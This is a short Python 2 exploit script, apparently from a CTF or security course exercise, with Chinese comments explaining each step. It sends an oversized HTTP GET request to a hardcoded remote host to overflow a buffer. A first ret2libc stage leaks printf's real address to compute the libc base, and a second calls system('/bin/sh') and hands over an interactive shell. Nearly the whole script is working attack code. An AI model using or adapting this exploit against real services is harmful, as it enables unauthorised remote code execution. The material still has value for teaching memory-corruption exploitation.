#!/usr/bin/env python
#-*- coding:utf-8 -*-


import telnetlib
import struct

HOST = "166.111.132.132"
#HOST = "127.0.0.1"
PORT = 44774

def p32(data):
	return struct.pack("<I", data)

def up32(data):
	return struct.unpack("<I", data)[0]

printf_libc = 0x0004d410 #libc里函数的便宜地址
system_libc = 0x0003ea70 #函数用nm
binsh_libc	= 0x0015fcbf #字符串直接用python read().find() #CHO教的技能。

#User_Test
#printf_libc = 0x0004e7d0
#system_libc = 0x00041260
#binsh_libc  = 0x00169b98


tel = telnetlib.Telnet(HOST, PORT)
#get printf@real
#从现有的代码中找到printf的地址，关于plt和got 在week0里面已经有说明了。
#got里面存放的是函数的真实地址，所以我们需要得到这个地址才能计算出libc的便宜地址。
# libcoffset  = printf_real - printf_libc
printf_plt = p32(0x08048580)
printf_got = p32(0x0804a008)
exit_plt   = p32(0x08048610)

#re2libc printf(&printf_got);
payload = 'GET /' + 'A' * 0x83 + printf_plt + exit_plt + printf_got + ' HTTP/1.1'
tel.write(payload)
msg = tel.read_all()
tel.close()
printf_real = up32(msg[:4])

#获得了printf的真实地址之后我们计算libc便宜地址，从而进一步计算system和字符串的地址。
print "printf real address: %x" % printf_real
libcoffset =  printf_real - printf_libc
#print "libc offset : %x" % libcoffset
#print "system real address: %x" % (libcoffset + system_libc)

#attack 再来一次ret2libc。
system_plt = p32(libcoffset + system_libc)
binsh      = p32(binsh_libc + libcoffset)

payload = 'GET /' + 'A' * 0x83 + system_plt + exit_plt + binsh + ' HTTP/1.1'

#print payload
tel = telnetlib.Telnet(HOST, PORT)
tel.write(payload)
tel.interact()

